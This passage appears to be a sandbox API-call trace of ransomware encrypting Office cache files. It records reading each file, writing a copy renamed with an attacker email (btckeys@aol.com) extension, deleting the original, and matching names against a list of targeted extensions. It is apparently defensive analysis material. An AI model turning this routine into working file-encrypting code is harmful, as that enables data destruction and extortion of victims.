(lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0065.107] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0065.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.108] lstrlenW (lpString=".doc") returned 4 [0065.108] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0065.108] lstrlenW (lpString=".docx") returned 5 [0065.108] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0065.108] lstrlenW (lpString=".pdf") returned 4 [0065.108] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0065.108] lstrlenW (lpString=".xls") returned 4 [0065.108] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0065.108] lstrlenW (lpString=".xlsx") returned 5 [0065.108] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0065.108] lstrlenW (lpString=".ppt") returned 4 [0065.108] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0065.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.108] lstrlenW (lpString=".zip") returned 4 [0065.108] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0065.108] lstrlenW (lpString=".rar") returned 4 [0065.108] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0065.108] lstrlenW (lpString=".bz2") returned 4 [0065.108] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0065.108] lstrlenW (lpString=".7z") returned 3 [0065.108] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0065.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.109] lstrlenW (lpString=".dbf") returned 4 [0065.109] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0065.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.109] lstrlenW (lpString=".1cd") returned 4 [0065.109] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0065.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.109] lstrlenW (lpString=".jpg") returned 4 [0065.109] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0065.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.109] lstrlenW (lpString=".doc") returned 4 [0065.109] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0065.109] lstrlenW (lpString=".docx") returned 5 [0065.109] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0065.109] lstrlenW (lpString=".pdf") returned 4 [0065.109] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0065.109] lstrlenW (lpString=".xls") returned 4 [0065.109] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0065.109] lstrlenW (lpString=".xlsx") returned 5 [0065.109] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0065.109] lstrlenW (lpString=".ppt") returned 4 [0065.109] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0065.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.109] lstrlenW (lpString=".zip") returned 4 [0065.109] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0065.109] lstrlenW (lpString=".rar") returned 4 [0065.110] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0065.110] lstrlenW (lpString=".bz2") returned 4 [0065.110] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0065.110] lstrlenW (lpString=".7z") returned 3 [0065.110] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0065.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.110] lstrlenW (lpString=".dbf") returned 4 [0065.110] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0065.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.110] lstrlenW (lpString=".1cd") returned 4 [0065.110] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0065.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0065.110] lstrlenW (lpString=".jpg") returned 4 [0065.110] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0065.110] lstrcmpiW (lpString1=".chm", lpString2=".2020") returned 1 [0065.110] lstrlenW (lpString="setup.chm") returned 9 [0065.110] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0065.528] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=67190) returned 1 [0065.528] CloseHandle (hObject=0x1b8) returned 1 [0065.528] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0065.528] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0065.528] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0065.528] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.528] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.528] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0065.529] GetLastError () returned 0x0 [0065.529] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x10676, lpOverlapped=0x0) returned 1 [0065.533] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0065.535] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.536] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0065.536] SetEndOfFile (hFile=0x1ac) returned 1 [0065.536] CloseHandle (hObject=0x1ac) returned 1 [0065.538] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.538] SetEndOfFile (hFile=0x1b8) returned 1 [0065.540] CloseHandle (hObject=0x1b8) returned 1 [0065.540] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0065.540] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0065.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0065.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0065.541] lstrlenW (lpString=".doc") returned 4 [0065.541] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0065.541] lstrlenW (lpString=".docx") returned 5 [0065.541] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0065.541] lstrlenW (lpString=".pdf") returned 4 [0065.541] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0065.541] lstrlenW (lpString=".xls") returned 4 [0065.541] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0065.541] lstrlenW (lpString=".xlsx") returned 5 [0065.541] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0065.541] lstrlenW (lpString=".ppt") returned 4 [0065.541] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0065.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0065.541] lstrlenW (lpString=".zip") returned 4 [0065.541] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0065.541] lstrlenW (lpString=".rar") returned 4 [0065.541] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0065.541] lstrlenW (lpString=".bz2") returned 4 [0065.541] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0065.541] lstrlenW (lpString=".7z") returned 3 [0065.541] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0065.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0065.541] lstrlenW (lpString=".dbf") returned 4 [0065.541] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0065.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0065.541] lstrlenW (lpString=".1cd") returned 4 [0065.541] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0065.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0065.541] lstrlenW (lpString=".jpg") returned 4 [0065.542] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0065.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0065.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0065.542] lstrlenW (lpString=".doc") returned 4 [0065.542] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0065.542] lstrlenW (lpString=".docx") returned 5 [0065.542] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0065.542] lstrlenW (lpString=".pdf") returned 4 [0065.542] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0065.542] lstrlenW (lpString=".xls") returned 4 [0065.542] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0065.542] lstrlenW (lpString=".xlsx") returned 5 [0065.542] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0065.542] lstrlenW (lpString=".ppt") returned 4 [0065.542] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0065.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0065.542] lstrlenW (lpString=".zip") returned 4 [0065.542] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0065.542] lstrlenW (lpString=".rar") returned 4 [0065.542] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0065.542] lstrlenW (lpString=".bz2") returned 4 [0065.542] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0065.542] lstrlenW (lpString=".7z") returned 3 [0065.542] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0065.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0065.542] lstrlenW (lpString=".dbf") returned 4 [0065.542] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0065.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0065.543] lstrlenW (lpString=".1cd") returned 4 [0065.543] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0065.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0065.543] lstrlenW (lpString=".jpg") returned 4 [0065.543] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0065.543] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0065.543] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0065.543] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0065.543] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=819) returned 1 [0065.543] CloseHandle (hObject=0x1b8) returned 1 [0065.544] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0065.544] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0065.544] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0065.544] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.544] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.544] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0065.544] GetLastError () returned 0x0 [0065.544] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x333, lpOverlapped=0x0) returned 1 [0065.546] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x340, lpOverlapped=0x0) returned 1 [0065.548] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.548] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0065.548] SetEndOfFile (hFile=0x1ac) returned 1 [0065.548] CloseHandle (hObject=0x1ac) returned 1 [0065.550] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.550] SetEndOfFile (hFile=0x1b8) returned 1 [0065.551] CloseHandle (hObject=0x1b8) returned 1 [0065.551] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0065.551] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0065.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.551] lstrlenW (lpString=".doc") returned 4 [0065.551] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.551] lstrlenW (lpString=".docx") returned 5 [0065.551] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0065.551] lstrlenW (lpString=".pdf") returned 4 [0065.552] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.552] lstrlenW (lpString=".xls") returned 4 [0065.552] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.552] lstrlenW (lpString=".xlsx") returned 5 [0065.552] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0065.552] lstrlenW (lpString=".ppt") returned 4 [0065.552] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.552] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.552] lstrlenW (lpString=".zip") returned 4 [0065.552] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.552] lstrlenW (lpString=".rar") returned 4 [0065.552] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.552] lstrlenW (lpString=".bz2") returned 4 [0065.552] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.552] lstrlenW (lpString=".7z") returned 3 [0065.552] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.552] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.552] lstrlenW (lpString=".dbf") returned 4 [0065.552] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.552] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.552] lstrlenW (lpString=".1cd") returned 4 [0065.552] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.552] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.552] lstrlenW (lpString=".jpg") returned 4 [0065.552] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.552] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.552] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.553] lstrlenW (lpString=".doc") returned 4 [0065.553] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.553] lstrlenW (lpString=".docx") returned 5 [0065.553] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0065.553] lstrlenW (lpString=".pdf") returned 4 [0065.553] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.553] lstrlenW (lpString=".xls") returned 4 [0065.553] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.553] lstrlenW (lpString=".xlsx") returned 5 [0065.553] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0065.553] lstrlenW (lpString=".ppt") returned 4 [0065.553] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.553] lstrlenW (lpString=".zip") returned 4 [0065.553] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.553] lstrlenW (lpString=".rar") returned 4 [0065.553] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.553] lstrlenW (lpString=".bz2") returned 4 [0065.553] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.553] lstrlenW (lpString=".7z") returned 3 [0065.553] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.553] lstrlenW (lpString=".dbf") returned 4 [0065.553] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.553] lstrlenW (lpString=".1cd") returned 4 [0065.553] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.553] lstrlenW (lpString=".jpg") returned 4 [0065.553] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.554] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0065.554] lstrlenW (lpString="Setup.xml") returned 9 [0065.554] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0065.554] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2624) returned 1 [0065.554] CloseHandle (hObject=0x1b8) returned 1 [0065.554] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0065.554] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0065.555] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0065.555] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.555] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.555] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0065.555] GetLastError () returned 0x0 [0065.555] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xa40, lpOverlapped=0x0) returned 1 [0065.559] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0065.560] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.560] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0065.560] SetEndOfFile (hFile=0x1ac) returned 1 [0065.560] CloseHandle (hObject=0x1ac) returned 1 [0066.079] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 